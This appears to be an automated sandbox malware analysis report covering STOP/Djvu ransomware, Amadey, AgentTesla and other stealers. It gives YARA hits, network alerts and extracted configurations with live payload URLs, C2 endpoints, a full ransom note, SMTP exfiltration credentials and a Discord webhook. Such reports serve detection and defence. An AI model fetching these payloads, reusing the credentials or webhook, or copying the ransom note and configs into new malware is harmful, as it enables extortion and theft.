41.2.buildz.exe.26415a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
51.2.buildz.exe.25f15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
51.2.buildz.exe.25f15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
51.2.buildz.exe.25f15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.build3.exe.d20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.alex.exe.438ca48.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.alex.exe.438ca48.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.alex.exe.438ca48.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3198d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x319ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31a89:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31b1b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31b85:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31bf7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31c8d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31d1d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
42.2.buildz.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
42.2.buildz.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
42.2.buildz.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
51.2.buildz.exe.25f15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
51.2.buildz.exe.25f15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
51.2.buildz.exe.25f15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.build3.exe.d20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.buildz.exe.26715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
31.2.buildz.exe.26715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
31.2.buildz.exe.26715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
45.2.buildz.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
45.2.buildz.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
45.2.buildz.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
48.2.buildz.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.0.build3.exe.d20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
46.2.buildz.exe.27415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
46.2.buildz.exe.27415a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
46.2.buildz.exe.27415a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
42.2.buildz.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
42.2.buildz.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
42.2.buildz.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.alex.exe.438ca48.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.alex.exe.438ca48.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.2.alex.exe.438ca48.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.alex.exe.438ca48.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3378d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e3ad:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x337ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e41f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33889:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6e4a9:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3391b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e53b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33985:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e5a5:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x339f7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e617:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33a8d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e6ad:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33b1d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e73d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
31.2.buildz.exe.26715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
31.2.buildz.exe.26715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
31.2.buildz.exe.26715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
33.2.buildz.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
33.2.buildz.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
33.2.buildz.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
48.2.buildz.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
33.2.buildz.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
33.2.buildz.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
33.2.buildz.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
40.2.buildz.exe.26515a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
40.2.buildz.exe.26515a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
40.2.buildz.exe.26515a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
46.2.buildz.exe.27415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
46.2.buildz.exe.27415a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
46.2.buildz.exe.27415a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
45.2.buildz.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
45.2.buildz.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
45.2.buildz.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
41.2.buildz.exe.26415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
41.2.buildz.exe.26415a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
41.2.buildz.exe.26415a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
32.3.e0cbefcb1af40c7d4aff4aca26621a98.exe.37c0000.1.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Click to see the 66 entries

Snort Signatures

ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016 - Source IP: 192.168.2.4 - Destination IP: 172.67.195.16

Timestamp:	192.168.2.4172.67.195.1649730802022896 12/20/23-15:34:59.491424
SID:	2022896
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://185.172.128.19/ghsdh39s/index.phpUsers	Avira URL Cloud: Label: malware
Source: http://185.172.128.19/ghsdh39s/index.php4	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php	Avira URL Cloud: Label: malware
Source: https://comediantes.org/wp-admin/user/513/voice5.13sert.exe	Avira URL Cloud: Label: malware
Source: http://185.172.128.19/ghsdh39s/index.phps	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exe	Avira URL Cloud: Label: malware
Source: http://185.172.128.19/ghsdh39s/index.phpo	Avira URL Cloud: Label: malware
Source: http://185.172.128.19/ghsdh39s/index.phpWindows	Avira URL Cloud: Label: malware
Source: http://china.dhabigroup.top/_errorpages/spfasiazx.exe	Avira URL Cloud: Label: malware
Source: https://edarululoom.com/Kolodi.exe	Avira URL Cloud: Label: malware
Source: http://91.92.253.29/alex.exe	Avira URL Cloud: Label: malware
Source: https://china.dhabigroup.top/_errorpages/somzx.exe	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-MhbiRFXgXD\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0838ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Win
Source: 12.2.alex.exe.43c7668.2.raw.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.acestar.com.ph", "Username": "cs.subic@acestar.com.ph", "Password": "cssubic@12345"}
Source: 11.0.build3.exe.d20000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "185.172.128.19/ghsdh39s/index.php", "Version": "4.12"}
Source: Creal.exe.7252.22.memstrmin	Malware Configuration Extractor: Creal Stealer {"C2 url": "https://discord.com/api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8bPVrLSV4Ki90tOZoTMLE9"}

Multi AV Scanner detection for domain / URL

Source: comediantes.org	Virustotal: Detection: 7%	Perma Link
Source: zexeq.com	Virustotal: Detection: 21%	Perma Link
Source: edarululoom.com	Virustotal: Detection: 8%	Perma Link
Source: brusuax.com	Virustotal: Detection: 16%	Perma Link
Source: china.dhabigroup.top	Virustotal: Detection: 26%	Perma Link
Source: http://zexeq.com/test1/get.php	Virustotal: Detection: 20%	Perma Link
Source: https://comediantes.org/wp-admin/user/513/voice5.13sert.exe	Virustotal: Detection: 17%	Perma Link
Source: http://brusuax.com/dl/build2.exe	Virustotal: Detection: 23%	Perma Link
